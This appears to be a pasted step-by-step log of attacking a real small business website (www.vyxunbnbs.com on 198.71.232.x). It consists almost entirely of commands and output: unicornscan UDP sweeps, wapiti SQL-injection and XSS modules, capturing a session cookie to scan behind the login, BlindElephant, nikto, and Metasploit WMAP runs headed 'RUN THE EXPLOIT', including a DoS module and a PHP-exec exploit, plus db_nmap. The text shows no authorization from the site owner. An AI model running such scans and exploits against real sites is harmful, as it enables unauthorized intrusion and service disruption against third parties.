  1185. TCP open               https[  443]     from 198.71.232.4  ttl 47
  1186. TCP open               https[  443]     from 198.71.232.5  ttl 110
  1187. TCP open                http[   80]     from 198.71.232.6  ttl 47
  1188. TCP open               https[  443]     from 198.71.232.6  ttl 47
  1189. TCP open                 ssh[   22]     from 198.71.232.7  ttl 47
  1190. TCP open                http[   80]     from 198.71.232.7  ttl 47
  1191. TCP open               https[  443]     from 198.71.232.7  ttl 47
  1192.  
  1193.  
  1194. ┌─[✗]─[root@parrot]─[~]
  1195. └──╼ #unicornscan -mU -v -I 198.71.232.3/24
  1196. adding 198.71.232.0/24 mode `UDPscan' ports `7,9,11,13,17,19,20,37,39,42,49,52-54,65-71,81,111,161,123,136-170,514-518,630,631,636-640,650,653,921,1023-1030,1900,2048-2050,27900,27960,32767-32780,32831' pps 300
  1197. using interface(s) eth0
  1198. scaning 2.56e+02 total hosts with 2.66e+04 total packets, should take a little longer than 1 Minutes, 35 Seconds
  1199. UDP open 192.168.1.1:53  ttl 64
  1200.  
  1201. --snip--
  1202.  
  1203. CHECK THE SITE WITH WAPITI
  1204.  
  1205. ┌─[root@parrot]─[~]
  1206. └──╼ #wapiti http://www.vyxunbnbs.com/ -n 10 -b folder -u -v 1 -f html -o /tmp/scan_report
  1207. Wapiti-2.3.0 (wapiti.sourceforge.net)
  1208.  
  1209. [*] Loading modules:
  1210.      mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto
  1211.  
  1212. [+] Launching module exec
  1213. + attackGET http://www.vyxunbnbs.com/
  1214. + attackGET http://www.vyxunbnbs.com/site.css?v=
  1215. + attackGET http://www.vyxunbnbs.com/common/wsb/core
  1216. + attackGET http://www.vyxunbnbs.com/libs/knockout/knockout
  1217. + attackGET http://www.vyxunbnbs.com/home.html
  1218. + attackGET http://www.vyxunbnbs.com/contact.html
  1219. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/navigation/subNavigation
  1220. + attackGET http://www.vyxunbnbs.com/products.html
  1221. + attackGET http://www.vyxunbnbs.com/bullet-jewellery.html
  1222. + attackGET http://www.vyxunbnbs.com/boar-tusk-necklaces.html
  1223. + attackGET http://www.vyxunbnbs.com/decorated-skulls-.html
  1224. + attackGET http://www.vyxunbnbs.com/bone-art.html
  1225. + attackGET http://www.vyxunbnbs.com/leather-crafting.html
  1226. + attackGET http://www.vyxunbnbs.com/wooden-items.html
  1227. + attackGET http://www.vyxunbnbs.com/random-items.html
  1228. + attackGET http://www.vyxunbnbs.com/WSB.ForceDesktop
  1229. + attackGET http://www.vyxunbnbs.com/common/cookiemanager/cookiemanager
  1230. + attackGET http://www.vyxunbnbs.com/designer/iebackground/iebackground
  1231. + attackGET http://www.vyxunbnbs.com/.view-as-mobile
  1232. + attackGET http://www.vyxunbnbs.com/.wsb-canvas-page-container
  1233. + attackGET http://www.vyxunbnbs.com/vyxunbnbs.com
  1234. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/customform/customForm.published
  1235. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/controls/media/gallery/media.gallery
  1236. + attackGET http://www.vyxunbnbs.com/Loading...
  1237. + attackGET http://www.vyxunbnbs.com/designer/social/twitter/social.twitter
  1238. + attackGET http://www.vyxunbnbs.com/plugins/twitter/index.php
  1239. + attackGET http://www.vyxunbnbs.com/designer/util/facebookSDKHelper
  1240.  
  1241. [+] Launching module file
  1242. + attackGET http://www.vyxunbnbs.com/
  1243. + attackGET http://www.vyxunbnbs.com/site.css?v=
  1244. + attackGET http://www.vyxunbnbs.com/common/wsb/core
  1245. + attackGET http://www.vyxunbnbs.com/libs/knockout/knockout
  1246. + attackGET http://www.vyxunbnbs.com/home.html
  1247. + attackGET http://www.vyxunbnbs.com/contact.html
  1248. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/navigation/subNavigation
  1249. + attackGET http://www.vyxunbnbs.com/products.html
  1250. + attackGET http://www.vyxunbnbs.com/bullet-jewellery.html
  1251. + attackGET http://www.vyxunbnbs.com/boar-tusk-necklaces.html
  1252. + attackGET http://www.vyxunbnbs.com/decorated-skulls-.html
  1253. + attackGET http://www.vyxunbnbs.com/bone-art.html
  1254. + attackGET http://www.vyxunbnbs.com/leather-crafting.html
  1255. + attackGET http://www.vyxunbnbs.com/wooden-items.html
  1256. + attackGET http://www.vyxunbnbs.com/random-items.html
  1257. + attackGET http://www.vyxunbnbs.com/WSB.ForceDesktop
  1258. + attackGET http://www.vyxunbnbs.com/common/cookiemanager/cookiemanager
  1259. + attackGET http://www.vyxunbnbs.com/designer/iebackground/iebackground
  1260. + attackGET http://www.vyxunbnbs.com/.view-as-mobile
  1261. + attackGET http://www.vyxunbnbs.com/.wsb-canvas-page-container
  1262. + attackGET http://www.vyxunbnbs.com/vyxunbnbs.com
  1263. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/customform/customForm.published
  1264. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/controls/media/gallery/media.gallery
  1265. + attackGET http://www.vyxunbnbs.com/Loading...
  1266. + attackGET http://www.vyxunbnbs.com/designer/social/twitter/social.twitter
  1267. + attackGET http://www.vyxunbnbs.com/plugins/twitter/index.php
  1268. + attackGET http://www.vyxunbnbs.com/designer/util/facebookSDKHelper
  1269.  
  1270. [+] Launching module sql
  1271. + attackGET http://www.vyxunbnbs.com/
  1272. + attackGET http://www.vyxunbnbs.com/site.css?v=
  1273. + attackGET http://www.vyxunbnbs.com/common/wsb/core
  1274. + attackGET http://www.vyxunbnbs.com/libs/knockout/knockout
  1275. + attackGET http://www.vyxunbnbs.com/home.html
  1276. + attackGET http://www.vyxunbnbs.com/contact.html
  1277. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/navigation/subNavigation
  1278. + attackGET http://www.vyxunbnbs.com/products.html
  1279. + attackGET http://www.vyxunbnbs.com/bullet-jewellery.html
  1280. + attackGET http://www.vyxunbnbs.com/boar-tusk-necklaces.html
  1281. + attackGET http://www.vyxunbnbs.com/decorated-skulls-.html
  1282. + attackGET http://www.vyxunbnbs.com/bone-art.html
  1283. + attackGET http://www.vyxunbnbs.com/leather-crafting.html
  1284. + attackGET http://www.vyxunbnbs.com/wooden-items.html
  1285. + attackGET http://www.vyxunbnbs.com/random-items.html
  1286. + attackGET http://www.vyxunbnbs.com/WSB.ForceDesktop
  1287. + attackGET http://www.vyxunbnbs.com/common/cookiemanager/cookiemanager
  1288. + attackGET http://www.vyxunbnbs.com/designer/iebackground/iebackground
  1289. + attackGET http://www.vyxunbnbs.com/.view-as-mobile
  1290. + attackGET http://www.vyxunbnbs.com/.wsb-canvas-page-container
  1291. + attackGET http://www.vyxunbnbs.com/vyxunbnbs.com
  1292. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/customform/customForm.published
  1293. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/controls/media/gallery/media.gallery
  1294. + attackGET http://www.vyxunbnbs.com/Loading...
  1295. + attackGET http://www.vyxunbnbs.com/designer/social/twitter/social.twitter
  1296. + attackGET http://www.vyxunbnbs.com/plugins/twitter/index.php
  1297. + attackGET http://www.vyxunbnbs.com/designer/util/facebookSDKHelper
  1298.  
  1299. [+] Launching module xss
  1300. + attackGET http://www.vyxunbnbs.com/
  1301. + attackGET http://www.vyxunbnbs.com/site.css?v=
  1302. + attackGET http://www.vyxunbnbs.com/common/wsb/core
  1303. + attackGET http://www.vyxunbnbs.com/libs/knockout/knockout
  1304. + attackGET http://www.vyxunbnbs.com/home.html
  1305. + attackGET http://www.vyxunbnbs.com/contact.html
  1306. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/navigation/subNavigation
  1307. + attackGET http://www.vyxunbnbs.com/products.html
  1308. + attackGET http://www.vyxunbnbs.com/bullet-jewellery.html
  1309. + attackGET http://www.vyxunbnbs.com/boar-tusk-necklaces.html
  1310. + attackGET http://www.vyxunbnbs.com/decorated-skulls-.html
  1311. + attackGET http://www.vyxunbnbs.com/bone-art.html
  1312. + attackGET http://www.vyxunbnbs.com/leather-crafting.html
  1313. + attackGET http://www.vyxunbnbs.com/wooden-items.html
  1314. + attackGET http://www.vyxunbnbs.com/random-items.html
  1315. + attackGET http://www.vyxunbnbs.com/WSB.ForceDesktop
  1316. + attackGET http://www.vyxunbnbs.com/common/cookiemanager/cookiemanager
  1317. + attackGET http://www.vyxunbnbs.com/designer/iebackground/iebackground
  1318. + attackGET http://www.vyxunbnbs.com/.view-as-mobile
  1319. + attackGET http://www.vyxunbnbs.com/.wsb-canvas-page-container
  1320. + attackGET http://www.vyxunbnbs.com/vyxunbnbs.com
  1321. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/customform/customForm.published
  1322. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/controls/media/gallery/media.gallery
  1323. + attackGET http://www.vyxunbnbs.com/Loading...
  1324. + attackGET http://www.vyxunbnbs.com/designer/social/twitter/social.twitter
  1325. + attackGET http://www.vyxunbnbs.com/plugins/twitter/index.php
  1326. + attackGET http://www.vyxunbnbs.com/designer/util/facebookSDKHelper
  1327.  
  1328. [+] Launching module blindsql
  1329. + attackGET http://www.vyxunbnbs.com/
  1330. + attackGET http://www.vyxunbnbs.com/site.css?v=
  1331. + attackGET http://www.vyxunbnbs.com/common/wsb/core
  1332. + attackGET http://www.vyxunbnbs.com/libs/knockout/knockout
  1333. + attackGET http://www.vyxunbnbs.com/home.html
  1334. + attackGET http://www.vyxunbnbs.com/contact.html
  1335. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/navigation/subNavigation
  1336. + attackGET http://www.vyxunbnbs.com/products.html
  1337. + attackGET http://www.vyxunbnbs.com/bullet-jewellery.html
  1338. + attackGET http://www.vyxunbnbs.com/boar-tusk-necklaces.html
  1339. + attackGET http://www.vyxunbnbs.com/decorated-skulls-.html
  1340. + attackGET http://www.vyxunbnbs.com/bone-art.html
  1341. + attackGET http://www.vyxunbnbs.com/leather-crafting.html
  1342. + attackGET http://www.vyxunbnbs.com/wooden-items.html
  1343. + attackGET http://www.vyxunbnbs.com/random-items.html
  1344. + attackGET http://www.vyxunbnbs.com/WSB.ForceDesktop
  1345. + attackGET http://www.vyxunbnbs.com/common/cookiemanager/cookiemanager
  1346. + attackGET http://www.vyxunbnbs.com/designer/iebackground/iebackground
  1347. + attackGET http://www.vyxunbnbs.com/.view-as-mobile
  1348. + attackGET http://www.vyxunbnbs.com/.wsb-canvas-page-container
  1349. + attackGET http://www.vyxunbnbs.com/vyxunbnbs.com
  1350. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/customform/customForm.published
  1351. + attackGET http://www.vyxunbnbs.com/designer/app/builder/ui/controls/media/gallery/media.gallery
  1352. + attackGET http://www.vyxunbnbs.com/Loading...
  1353. + attackGET http://www.vyxunbnbs.com/designer/social/twitter/social.twitter
  1354. + attackGET http://www.vyxunbnbs.com/plugins/twitter/index.php
  1355. + attackGET http://www.vyxunbnbs.com/designer/util/facebookSDKHelper
  1356.  
  1357. [+] Launching module permanentxss
  1358. + http://www.vyxunbnbs.com/
  1359. + http://www.vyxunbnbs.com/site.css?v=
  1360. + http://www.vyxunbnbs.com/common/wsb/core
  1361. + http://www.vyxunbnbs.com/libs/knockout/knockout
  1362. + http://www.vyxunbnbs.com/home.html
  1363. + http://www.vyxunbnbs.com/contact.html
  1364. + http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/navigation/subNavigation
  1365. + http://www.vyxunbnbs.com/products.html
  1366. + http://www.vyxunbnbs.com/bullet-jewellery.html
  1367. + http://www.vyxunbnbs.com/boar-tusk-necklaces.html
  1368. + http://www.vyxunbnbs.com/decorated-skulls-.html
  1369. + http://www.vyxunbnbs.com/bone-art.html
  1370. + http://www.vyxunbnbs.com/leather-crafting.html
  1371. + http://www.vyxunbnbs.com/wooden-items.html
  1372. + http://www.vyxunbnbs.com/random-items.html
  1373. + http://www.vyxunbnbs.com/WSB.ForceDesktop
  1374. + http://www.vyxunbnbs.com/common/cookiemanager/cookiemanager
  1375. + http://www.vyxunbnbs.com/designer/iebackground/iebackground
  1376. + http://www.vyxunbnbs.com/.view-as-mobile
  1377. + http://www.vyxunbnbs.com/.wsb-canvas-page-container
  1378. + http://www.vyxunbnbs.com/vyxunbnbs.com
  1379. + http://www.vyxunbnbs.com/designer/app/builder/ui/canvas/elements/customform/customForm.published
  1380. + http://www.vyxunbnbs.com/designer/app/builder/ui/controls/media/gallery/media.gallery
  1381. + http://www.vyxunbnbs.com/Loading...
  1382. + http://www.vyxunbnbs.com/designer/social/twitter/social.twitter
  1383. + http://www.vyxunbnbs.com/plugins/twitter/index.php
  1384. + http://www.vyxunbnbs.com/designer/util/facebookSDKHelper
  1385.  
  1386. Report
  1387. ------
  1388. A report has been generated in the file /tmp/scan_report
  1389. Open /tmp/scan_report/index.html with a browser to see this report.
  1390.  
  1391. ┌─[root@parrot]─[~]
  1392. └──╼ #firefox /tmp/scan_report/index.html
  1393.  
  1394.  
  1395. ...........................
  1396. Note
  1397. ========
  1398. This scan has been saved in the file /root/.wapiti/scans/www.vyxunbnbs.com.xml
  1399. You can use it to perform attacks without scanning again the web site with the "-k" parameter
  1400.  
  1401.  
  1402. NOTE
  1403.  
  1404. wapiti works better when you use the cookie value.
  1405.  
  1406. To get the cookie use the getcookie.py script
  1407.  
  1408. Use getcookie.py.
  1409.  
  1410. Usage: python getcookie.py <cookie_file> <url_with_form>
  1411.  
  1412. It will dump the cookie to the file. After getting the cookie set Powerfuzzer to use it (Cookie button in the GUI)
  1413.  
  1414. Cookies are save in LWP format. (LWPCookieJar)
  1415.  
  1416. #LWP-Cookies-2.0
  1417. Set-Cookie3: SID=a0b498e88f488dd8a48baf6778da85b9; path="/"; domain="test.com"; path_spec; discard; version=0
  1418.  
  1419.  
  1420. ┌─[✗]─[root@parrot]─[/usr/share/powerfuzzer]
  1421. └──╼ #./getcookie.py ~/cookie.txt http://www.vyxunbnbs.com/webapp/login.php
  1422.  
  1423. Enter username/password etc as required to complete the login form
  1424.  
  1425. Script exists, check the contents of ~/cookie.txt – it will look something like :
  1426.  
  1427. #LWP-Cookies-2.0
  1428.  
  1429. Set-Cookie3: PHPSESSID=3d20841af5de43c718732d80e5d78fe3; path=”/”; domain=”orange”; path_spec; expires=”2010-01-04 22:42:47Z”; version=0
  1430.  
  1431. Now we can use wapiti to test any urls ‘behind’ the login screen (as it were) :
  1432.  
  1433. wapiti http://www.vyxunbnbs.com/webapp/search.php –cookie ~/cookie.txt -v 2 -o ~/report -x http://www.vyxunbnbs.com/webapp/logout.php
  1434.  
  1435. (We need to exclude the logout page, else our session will get destroyed when wapiti spiders that page…)
  1436.  
  1437.  
  1438. USE BLINDELEPHANT
  1439.  
  1440. https://media.blackhat.com/bh-us-10/presentations/Thomas/BlackHat-USA-2010-Thomas-BlindElephant-WebApp-Fingerprinting-slides.pdf
  1441.  
  1442. BlindElephant.py http://www.somesite.com appName
  1443.  
  1444. BlindElephant.py http://forum.somesite.com phpbb
  1445.  
  1446. ┌─[root@parrot]─[~]
  1447. └──╼ #BlindElephant.py www.vyxunbnbs.com movabletype
  1448. Loaded /usr/lib/pymodules/python2.7/blindelephant/dbs/movabletype.pkl with 101 versions, 2229 differentiating paths, and 216 version groups.
  1449. Starting BlindElephant fingerprint for version of movabletype at http://www.vyxunbnbs.com
  1450.  
  1451. Hit http://www.vyxunbnbs.com/mt-static/mt.js
  1452. File produced no match. Error: Failed to reach a server: timed out
  1453.  
  1454. Hit http://www.vyxunbnbs.com/mt-static/js/tc/client.js
  1455. File produced no match. Error: Failed to reach a server: timed out
  1456.  
  1457.  
  1458. Error: All versions ruled out!
  1459.  
  1460.  
  1461.  
  1462. CHECK THE SITE WITH NIKTO
  1463.  
  1464. ┌─[root@parrot]─[~]
  1465. └──╼ #nikto -h 198.71.232.3
  1466. - Nikto v2.1.6
  1467. ---------------------------------------------------------------------------
  1468. + No web server found on 198.71.232.3:80
  1469. ---------------------------------------------------------------------------
  1470. + 0 host(s) tested
  1471.  
  1472. ┌─[root@parrot]─[~]
  1473. └──╼ #nikto -h 198.71.232.3 -p 443
  1474. - Nikto v2.1.6
  1475. ---------------------------------------------------------------------------
  1476. + Target IP:          198.71.232.3
  1477. + Target Hostname:    198.71.232.3
  1478. + Target Port:        443
  1479. ---------------------------------------------------------------------------
  1480. + SSL Info:        Subject:  /C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, LLC/CN=*.godaddysites.com
  1481.                    Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
  1482.                    Issuer:   /C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc./OU=http://certificates.godaddy.com/repository/CN=Go Daddy Secure Certification Authority/serialNumber=07969287
  1483. + Start Time:         2016-05-29 17:25:53 (GMT2)
  1484. ---------------------------------------------------------------------------
  1485. + Server: DPS/1.0.3
  1486. + Cookie dps_site_id created without the secure flag
  1487. + Cookie dps_site_id created without the httponly flag
  1488. + The anti-clickjacking X-Frame-Options header is not present.
  1489. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  1490. + Uncommon header 'x-siteid' found, with contents: 2000
  1491. + The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
  1492. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  1493. + No CGI Directories found (use '-C all' to force check all possible dirs)
  1494. + Server is using a wildcard certificate: *.godaddysites.com
  1495. + Hostname '198.71.232.3' does not match certificate's names: *.godaddysites.com
  1496. + ERROR: Error limit (20) reached for host, giving up. Last error:
  1497. + Scan terminated:  18 error(s) and 9 item(s) reported on remote host
  1498. + End Time:           2016-05-29 18:04:21 (GMT2) (2308 seconds)
  1499. ---------------------------------------------------------------------------
  1500. + 1 host(s) tested
  1501.  
  1502.  
  1503. USE METASPLOIT
  1504.  
  1505. ____                      _   ____      
  1506. |  _ \ __ _ _ __ _ __ ___ | |_/ ___|  ___  ___
  1507. | |_) / _` | '__| '__/ _ \| __\___ \ / _ \/ __|
  1508. |  __/ (_| | |  | | | (_) | |_ ___) |  __/ (__
  1509. |_|   \__,_|_|  |_|  \___/ \__|____/ \___|\___|
  1510.                                              
  1511.  
  1512. executing "msfstart"
  1513.  
  1514. Creating database user 'msf'
  1515. Enter password for new role:
  1516. Enter it again:
  1517. Creating databases 'msf' and 'msf_test'
  1518. Creating configuration file in /usr/share/metasploit-framework/config/database.yml
  1519. Creating initial database schema
  1520. ┌─[root@parrot]─[~]
  1521. └──╼ #msfconsole
  1522.                                                  
  1523. Call trans opt: received. 2-19-98 13:24:18 REC:Loc
  1524.  
  1525.     Trace program: running
  1526.  
  1527.           wake up, Neo...
  1528.        the matrix has you
  1529.      follow the white rabbit.
  1530.  
  1531.          knock, knock, Neo.
  1532.  
  1533.                        (`.         ,-,
  1534.                        ` `.    ,;' /
  1535.                          `.  ,'/ .'
  1536.                           `. X /.'
  1537.                .-;--''--.._` ` (
  1538.              .'            /   `
  1539.              ,           ` '   Q '
  1540.              ,         ,   `._    \
  1541.           ,.|         '     `-.;_'
  1542.           :  . `  ;    `  ` --,.._;
  1543.            ' `    ,   )   .'
  1544.               `._ ,  '   /_
  1545.                 ; ,''-,;' ``-
  1546.                   ``-..__``--`
  1547.  
  1548.  
  1549.  http://metasploit.pro
  1550.  
  1551.  
  1552. Easy phishing: Set up email templates, landing pages and listeners
  1553. in Metasploit Pro -- learn more on http://rapid7.com/metasploit
  1554.  
  1555.        =[ metasploit v4.11.5-2016010401                   ]
  1556. + -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
  1557. + -- --=[ 437 payloads - 37 encoders - 8 nops             ]
  1558. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  1559.  
  1560. msf >
  1561.  
  1562.  
  1563. CONNECT TO THE POSTGRES DB
  1564.  
  1565. msf > db_connect root:toor
  1566. [-] postgresql already connected to msf
  1567. [-] Run db_disconnect first if you wish to connect to a different database
  1568. msf >
  1569.  
  1570.  
  1571. CHECK DB STATUS
  1572.  
  1573. msf > db_status
  1574. [*] postgresql connected to msf
  1575.  
  1576.  
  1577. USE WMAP
  1578.  
  1579. msf > load wmap
  1580.  
  1581. .-.-.-..-.-.-..---..---.
  1582. | | | || | | || | || |-'
  1583. `-----'`-'-'-'`-^-'`-'
  1584. [WMAP 1.5.1] ===  et [  ] metasploit.com 2012
  1585. [*] Successfully loaded plugin: wmap
  1586. msf >
  1587.  
  1588. ADD THE SITE
  1589.  
  1590. msf > wmap_sites -a http://www.vyxunbnbs.com
  1591.  
  1592. msf > wmap_sites -l
  1593.  
  1594. ADD THE TARGET
  1595.  
  1596. msf > wmap_targets -t http://198.71.232.3
  1597. msf > wmap_targets -l
  1598. [*] Defined targets
  1599. ===============
  1600.  
  1601.     Id  Vhost         Host          Port  SSL    Path
  1602.     --  -----         ----          ----  ---    ----
  1603.      0   198.71.232.3  198.71.232.3  80    false    /
  1604.  
  1605.  
  1606. RUN THE TEST
  1607.  
  1608. msf > wmap_run -t
  1609. [*] Testing target:
  1610. [*]     Site: 198.71.232.3 (198.71.232.3)
  1611. [*]     Port: 80 SSL: false
  1612. ============================================================
  1613. [*] Testing started. 2016-05-29 13:37:42 +0200
  1614. [*] Loading wmap modules...
  1615. [*] 40 wmap enabled modules loaded.
  1616. [*]
  1617. =[ SSL testing ]=
  1618. ============================================================
  1619. [*] Target is not SSL. SSL modules disabled.
  1620. [*]
  1621. =[ Web Server testing ]=
  1622. ============================================================
  1623. [*] Module auxiliary/scanner/http/http_version
  1624. [*] Module auxiliary/scanner/http/open_proxy
  1625. [*] Module auxiliary/scanner/http/robots_txt
  1626. [*] Module auxiliary/scanner/http/frontpage_login
  1627. [*] Module auxiliary/scanner/http/host_header_injection
  1628. [*] Module auxiliary/admin/http/tomcat_administration
  1629. [*] Module auxiliary/admin/http/tomcat_utf8_traversal
  1630. [*] Module auxiliary/scanner/http/options
  1631. [*] Module auxiliary/scanner/http/drupal_views_user_enum
  1632. [*] Module auxiliary/scanner/http/scraper
  1633. [*] Module auxiliary/scanner/http/svn_scanner
  1634. [*] Module auxiliary/scanner/http/trace
  1635. [*] Module auxiliary/scanner/http/vhost_scanner
  1636. [*] Module auxiliary/scanner/http/webdav_internal_ip
  1637. [*] Module auxiliary/scanner/http/webdav_scanner
  1638. [*] Module auxiliary/scanner/http/webdav_website_content
  1639. [*]
  1640. =[ File/Dir testing ]=
  1641. ============================================================
  1642. [*] Module auxiliary/dos/http/apache_range_dos
  1643. [*] Module auxiliary/scanner/http/backup_file
  1644. [*] Module auxiliary/scanner/http/brute_dirs
  1645. [*] Module auxiliary/scanner/http/copy_of_file
  1646. [*] Module auxiliary/scanner/http/dir_listing
  1647. [*] Module auxiliary/scanner/http/dir_scanner
  1648. [*] Module auxiliary/scanner/http/dir_webdav_unicode_bypass
  1649. [*] Module auxiliary/scanner/http/file_same_name_dir
  1650. [*] Module auxiliary/scanner/http/files_dir
  1651. [*] Module auxiliary/scanner/http/http_put
  1652. [*] Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
  1653. [*] Module auxiliary/scanner/http/prev_dir_same_name_file
  1654. [*] Module auxiliary/scanner/http/replace_ext
  1655. [*] Module auxiliary/scanner/http/soap_xml
  1656. [*] Module auxiliary/scanner/http/trace_axd
  1657. [*] Module auxiliary/scanner/http/verb_auth_bypass
  1658. [*]
  1659. =[ Unique Query testing ]=
  1660. ============================================================
  1661. [*] Module auxiliary/scanner/http/blind_sql_query
  1662. [*] Module auxiliary/scanner/http/error_sql_injection
  1663. [*] Module auxiliary/scanner/http/http_traversal
  1664. [*] Module auxiliary/scanner/http/rails_mass_assignment
  1665. [*] Module exploit/multi/http/lcms_php_exec
  1666. [*]
  1667. =[ Query testing ]=
  1668. ============================================================
  1669. [*]
  1670. =[ General testing ]=
  1671. ============================================================
  1672. [*] Done.
  1673.  
  1674. All that remains now is to actually run the WMAP scan against our target URL.
  1675.  
  1676. RUN THE EXPLOIT
  1677.  
  1678. msf > wmap_run -e
  1679. [*] Using ALL wmap enabled modules.
  1680. [-] NO WMAP NODES DEFINED. Executing local modules
  1681. [*] Testing target:
  1682. [*]     Site: 198.71.232.3 (198.71.232.3)
  1683. [*]     Port: 80 SSL: false
  1684. ============================================================
  1685. [*] Testing started. 2016-05-29 13:38:10 +0200
  1686. [*]
  1687. =[ SSL testing ]=
  1688. ============================================================
  1689. [*] Target is not SSL. SSL modules disabled.
  1690. [*]
  1691. =[ Web Server testing ]=
  1692. ============================================================
  1693. [*] Module auxiliary/scanner/http/http_version
  1694.  
  1695. [*] 198.71.232.3:80 DPS/1.0.3
  1696. [*] Module auxiliary/scanner/http/open_proxy
  1697. [*] Module auxiliary/scanner/http/robots_txt
  1698. [*] Module auxiliary/scanner/http/frontpage_login
  1699. [*] http://198.71.232.3/ may not support FrontPage Server Extensions
  1700. [*] Module auxiliary/scanner/http/host_header_injection
  1701. [*] Module auxiliary/admin/http/tomcat_administration
  1702. [*] Module auxiliary/admin/http/tomcat_utf8_traversal
  1703. [*] Attempting to connect to 198.71.232.3:80
  1704. [+] No File(s) found
  1705. [*] Module auxiliary/scanner/http/options
  1706. [*] Module auxiliary/scanner/http/drupal_views_user_enum
  1707. [-] 198.71.232.3 does not appear to be vulnerable, will not continue
  1708. [*] Module auxiliary/scanner/http/scraper
  1709. [*] [198.71.232.3] / [404 Not Found]
  1710. [*] Module auxiliary/scanner/http/svn_scanner
  1711. [*] Using code '404' as not found.
  1712. [*] Module auxiliary/scanner/http/trace
  1713. [*] Module auxiliary/scanner/http/vhost_scanner
  1714. [*]  >> Exception during launch from auxiliary/scanner/http/vhost_scanner: The following options failed to validate: DOMAIN.
  1715. [*] Module auxiliary/scanner/http/webdav_internal_ip
  1716. [*] Module auxiliary/scanner/http/webdav_scanner
  1717. [*] Module auxiliary/scanner/http/webdav_website_content
  1718. [*]
  1719. =[ File/Dir testing ]=
  1720. ============================================================
  1721. [*] Module auxiliary/dos/http/apache_range_dos
  1722. [*] Module auxiliary/scanner/http/backup_file
  1723. [*] Module auxiliary/scanner/http/brute_dirs
  1724. [*] Path: /
  1725. [*] Using code '404' as not found.
  1726. [*] Module auxiliary/scanner/http/copy_of_file
  1727. [*] Module auxiliary/scanner/http/dir_listing
  1728. [*] Path: /
  1729. [*] Module auxiliary/scanner/http/dir_scanner
  1730. [*] Path: /
  1731. [*] Detecting error code
  1732. [*] Using code '404' as not found for 198.71.232.3
  1733. [*] Module auxiliary/scanner/http/dir_webdav_unicode_bypass
  1734. [*] Path: /
  1735. [*] Using code '404' as not found.
  1736. [*] Module auxiliary/scanner/http/file_same_name_dir
  1737. [*] Path: /
  1738. [-] Blank or default PATH set.
  1739. [*] Module auxiliary/scanner/http/files_dir
  1740. [*] Path: /
  1741. [*] Using code '404' as not found for files with extension .null
  1742. [*] Module auxiliary/scanner/http/http_put
  1743. [*] Path: /
  1744. [-] File doesn't seem to exist. The upload probably failed.
  1745. [*] Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
  1746. [*] Path: /
  1747. [-] 198.71.232.3:80 Folder does not require authentication. [404]
  1748. [*] Module auxiliary/scanner/http/prev_dir_same_name_file
  1749. [*] Path: /
  1750. [-] Blank or default PATH set.
  1751. [*] Module auxiliary/scanner/http/replace_ext
  1752. [*] Module auxiliary/scanner/http/soap_xml
  1753. [*] Path: /
  1754. [*] Starting scan with 0ms delay between requests
  1755. [-] The connection timed out (198.71.232.3:80).
  1756. [-] The connection timed out (198.71.232.3:80).
  1757. [*] Module auxiliary/scanner/http/trace_axd
  1758. [*] Path: /
  1759. [*] Module auxiliary/scanner/http/verb_auth_bypass
  1760. [*]
  1761. =[ Unique Query testing ]=
  1762. ============================================================
  1763. [*] Module auxiliary/scanner/http/blind_sql_query
  1764. [*] Module auxiliary/scanner/http/error_sql_injection
  1765. [*] Module auxiliary/scanner/http/http_traversal
  1766. [*] Module auxiliary/scanner/http/rails_mass_assignment
  1767. [*] Module exploit/multi/http/lcms_php_exec
  1768. [*]
  1769. =[ Query testing ]=
  1770. ============================================================
  1771. [*]
  1772. =[ General testing ]=
  1773. ============================================================
  1774. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  1775. Launch completed in 8302.240582227707 seconds.
  1776. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  1777. [*] Done.
  1778.  
  1779. Once the scan has finished executing, we take a look at the database to see if WMAP found anything of interest.
  1780.  
  1781.  
  1782. CHECK THE VULNERABILITIES
  1783.  
  1784. msf > wmap_vulns -l
  1785. [*] + [198.71.232.3] (198.71.232.3): scraper /
  1786. [*]     scraper Scraper
  1787. [*]     GET 404 Not Found
  1788.  
  1789.  
  1790. EXECUTE VULNERABILITIES
  1791.  
  1792. msf > vulns
  1793.  
  1794.  
  1795. RUN DB_NMAP
  1796.  
  1797. msf > db_nmap 198.71.232.3 -PN
  1798. [*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-29 17:31 CEST
  1799. [*] Nmap: 'mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers'
  1800. [*] Nmap: Nmap scan report for 198.71.232.3
  1801. [*] Nmap: Host is up (0.11s latency).
  1802. [*] Nmap: Not shown: 998 filtered ports
  1803. [*] Nmap: PORT    STATE SERVICE
  1804. [*] Nmap: 80/tcp  open  http
  1805. [*] Nmap: 443/tcp open  https
